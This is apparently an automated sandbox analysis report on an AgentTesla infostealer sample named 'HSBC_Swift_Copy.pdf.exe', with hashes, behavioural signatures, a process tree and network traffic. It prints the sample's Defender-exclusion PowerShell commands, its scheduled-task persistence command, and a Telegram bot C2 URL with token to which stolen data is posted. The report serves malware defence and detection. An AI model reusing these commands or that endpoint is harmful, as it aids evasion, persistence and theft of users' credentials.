agenttesla | 01b10e69f2bf67fdd929c4cb584dd248a71ad447eb460787f9e2ba34129ac4c3 | Triage

Resubmissions

27/12/2022, 14:34 UTC

221227-rxqn8afa54 10

27/12/2022, 14:34 UTC

221227-rxfh9afa52 10

25/12/2022, 11:46 UTC

221225-nxcwksee8w 10

Analysis

max time kernel
107s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/12/2022, 14:34 UTC

Sharing

Report Analysis Logs

General

Target

HSBC_Swift_Copy.pdf.exe
Size

1001KB
MD5

ce3718f0a5cd81530496e4724857b0cb
SHA1

17aca36e82674bd55a48684acc4eef6cd02696b1
SHA256

980572025579ff98c1ab84aa8c0c045e075d174bc5bb166e2694590c98f90a54
SHA512

6f30e90a5b9412a24f9513690cfca60c57f2e615604a12ddb7e355bd80894b7f3a37d8242813c76484a258db588c3df25f193a556284c3408d98c92ae814f724
SSDEEP

12288:bZ+2iN1/Sr+pGrnU9xmh873NdbE9QJKQZdF+LHZnbNFphh26mdOAH8c+9epf+mDG:Q1e+gnU9cOrjEw5Zupbxhh26mlH80q

Score

10^/10

agenttesla collection keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

C2

https://api.telegram.org/bot5934477911:AAFE-T4zPYFg9j3dne3DNo28zBQV6eiIuEY/

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	HSBC_Swift_Copy.pdf.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

Email Collection

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	HSBC_Swift_Copy.pdf.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	HSBC_Swift_Copy.pdf.exe
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	HSBC_Swift_Copy.pdf.exe

Adds Run key to start application 2 TTPs 1 IoCs

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\JxkFp = "C:\\Users\\Admin\\AppData\\Roaming\\JxkFp\\JxkFp.exe"	HSBC_Swift_Copy.pdf.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2732 set thread context of 3572	2732	HSBC_Swift_Copy.pdf.exe	99

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

Scheduled Task

pid	Process
4332	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3476	powershell.exe
4048	powershell.exe
3572	HSBC_Swift_Copy.pdf.exe
3572	HSBC_Swift_Copy.pdf.exe
4048	powershell.exe
3476	powershell.exe
3572	HSBC_Swift_Copy.pdf.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3476	powershell.exe
Token: SeDebugPrivilege	4048	powershell.exe
Token: SeDebugPrivilege	3572	HSBC_Swift_Copy.pdf.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3572	HSBC_Swift_Copy.pdf.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 2732 wrote to memory of 4048	2732	HSBC_Swift_Copy.pdf.exe	93
PID 2732 wrote to memory of 4048	2732	HSBC_Swift_Copy.pdf.exe	93
PID 2732 wrote to memory of 4048	2732	HSBC_Swift_Copy.pdf.exe	93
PID 2732 wrote to memory of 3476	2732	HSBC_Swift_Copy.pdf.exe	95
PID 2732 wrote to memory of 3476	2732	HSBC_Swift_Copy.pdf.exe	95
PID 2732 wrote to memory of 3476	2732	HSBC_Swift_Copy.pdf.exe	95
PID 2732 wrote to memory of 4332	2732	HSBC_Swift_Copy.pdf.exe	96
PID 2732 wrote to memory of 4332	2732	HSBC_Swift_Copy.pdf.exe	96
PID 2732 wrote to memory of 4332	2732	HSBC_Swift_Copy.pdf.exe	96
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99
PID 2732 wrote to memory of 3572	2732	HSBC_Swift_Copy.pdf.exe	99

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	HSBC_Swift_Copy.pdf.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	HSBC_Swift_Copy.pdf.exe

C:\Users\Admin\AppData\Local\Temp\HSBC_Swift_Copy.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\HSBC_Swift_Copy.pdf.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2732
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\HSBC_Swift_Copy.pdf.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\TBcRbJIkEv.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Windows\SysWOW64\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\TBcRbJIkEv" /XML "C:\Users\Admin\AppData\Local\Temp\tmp33D1.tmp"
  2⤵
  - Creates scheduled task(s)
  PID:4332
- C:\Users\Admin\AppData\Local\Temp\HSBC_Swift_Copy.pdf.exe
  "C:\Users\Admin\AppData\Local\Temp\HSBC_Swift_Copy.pdf.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - outlook_office_path
  - outlook_win_path
  PID:3572

Network

DNS

api.telegram.org

HSBC_Swift_Copy.pdf.exe

Remote address:

8.8.8.8:53

Request

api.telegram.org

IN A

Response

api.telegram.org

IN A

149.154.167.220
POST

https://api.telegram.org/bot5934477911:AAFE-T4zPYFg9j3dne3DNo28zBQV6eiIuEY/sendDocument

HSBC_Swift_Copy.pdf.exe

Remote address:

149.154.167.220:443

Request

POST /bot5934477911:AAFE-T4zPYFg9j3dne3DNo28zBQV6eiIuEY/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------8dae81ff95e2d27
Host: api.telegram.org
Content-Length: 2480
Expect: 100-continue
Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Server: nginx/1.18.0
Date: Tue, 27 Dec 2022 14:35:27 GMT
Content-Type: application/json
Content-Length: 642
Connection: keep-alive
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

149.154.167.220:443

https://api.telegram.org/bot5934477911:AAFE-T4zPYFg9j3dne3DNo28zBQV6eiIuEY/sendDocument

tls, http

HSBC_Swift_Copy.pdf.exe

6.2kB
7.5kB
13
14

HTTP Request

POST https://api.telegram.org/bot5934477911:AAFE-T4zPYFg9j3dne3DNo28zBQV6eiIuEY/sendDocument

HTTP Response

200
104.80.225.205:443

322 B
7

8.8.8.8:53

api.telegram.org

dns

HSBC_Swift_Copy.pdf.exe

62 B
78 B
1
1

DNS Request

api.telegram.org

DNS Response

149.154.167.220

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

Credential Access

Credentials in Files

Discovery

Query Registry

System Information Discovery

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
030729b2d3fa022e40f33d5d5a39ce69

SHA1
64344c92ae83ed42691308c85e6ac18ab1a95b50

SHA256
9e829c2d9ac8db2a6ebefec18f0a0a3b27b39bc9f922ff76974bafdbd6c8d48a

SHA512
c2f3bee56e2b3084a7fbfd167dfc7c71017524584de708a65e5b3e13c8dbd706cda20f626364bdaaa8dff4895be3234ce54a0e7eebec01dc420fe55c52492d48

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp33D1.tmp

Filesize
1KB

MD5
74d17675f3975357b9f073e1fed9b1ce

SHA1
74caf25e45c8f137ed084d8818770134ca935529

SHA256
49acc39059c024d117a38bf3ea598d9ff2005e65c629a31ade6761bf6c38ef54

SHA512
ced074d7c83449a175514c502c1fb8d9d541f11b040fa9164ec9a05b6496720291b01f655c4803b3babf71d2b4ff9f00fc20fd44f705d6242a1f84d886783404

Download Submit
memory/2732-133-0x0000000005420000-0x00000000059C4000-memory.dmp

Filesize
5.6MB

Download
memory/2732-134-0x0000000004F10000-0x0000000004FA2000-memory.dmp

Filesize
584KB

Download
memory/2732-135-0x0000000002A00000-0x0000000002A0A000-memory.dmp

Filesize
40KB

Download
memory/2732-136-0x0000000007910000-0x00000000079AC000-memory.dmp

Filesize
624KB

Download
memory/2732-132-0x0000000000500000-0x0000000000600000-memory.dmp

Filesize
1024KB

Download
memory/3476-158-0x0000000007360000-0x000000000737A000-memory.dmp

Filesize
104KB

Download
memory/3476-157-0x0000000007250000-0x000000000725E000-memory.dmp

Filesize
56KB

Download
memory/3476-149-0x0000000006CB0000-0x0000000006CE2000-memory.dmp

Filesize
200KB

Download
memory/3476-144-0x0000000005540000-0x00000000055A6000-memory.dmp

Filesize
408KB

Download
memory/3476-156-0x00000000072A0000-0x0000000007336000-memory.dmp

Filesize
600KB

Download
memory/3476-153-0x0000000007660000-0x0000000007CDA000-memory.dmp

Filesize
6.5MB

Download
memory/3476-151-0x0000000006C90000-0x0000000006CAE000-memory.dmp

Filesize
120KB

Download
memory/3476-150-0x0000000070C40000-0x0000000070C8C000-memory.dmp

Filesize
304KB

Download
memory/3572-147-0x0000000000400000-0x0000000000430000-memory.dmp

Filesize
192KB

Download
memory/3572-162-0x00000000070E0000-0x0000000007130000-memory.dmp

Filesize
320KB

Download
memory/4048-145-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/4048-143-0x0000000005340000-0x0000000005362000-memory.dmp

Filesize
136KB

Download
memory/4048-154-0x0000000007620000-0x000000000763A000-memory.dmp

Filesize
104KB

Download
memory/4048-155-0x0000000007690000-0x000000000769A000-memory.dmp

Filesize
40KB

Download
memory/4048-148-0x0000000006310000-0x000000000632E000-memory.dmp

Filesize
120KB

Download
memory/4048-141-0x0000000005480000-0x0000000005AA8000-memory.dmp

Filesize
6.2MB

Download
memory/4048-140-0x0000000004D60000-0x0000000004D96000-memory.dmp

Filesize
216KB

Download
memory/4048-159-0x0000000007940000-0x0000000007948000-memory.dmp

Filesize
32KB

Download
memory/4048-152-0x0000000070C40000-0x0000000070C8C000-memory.dmp

Filesize
304KB

Download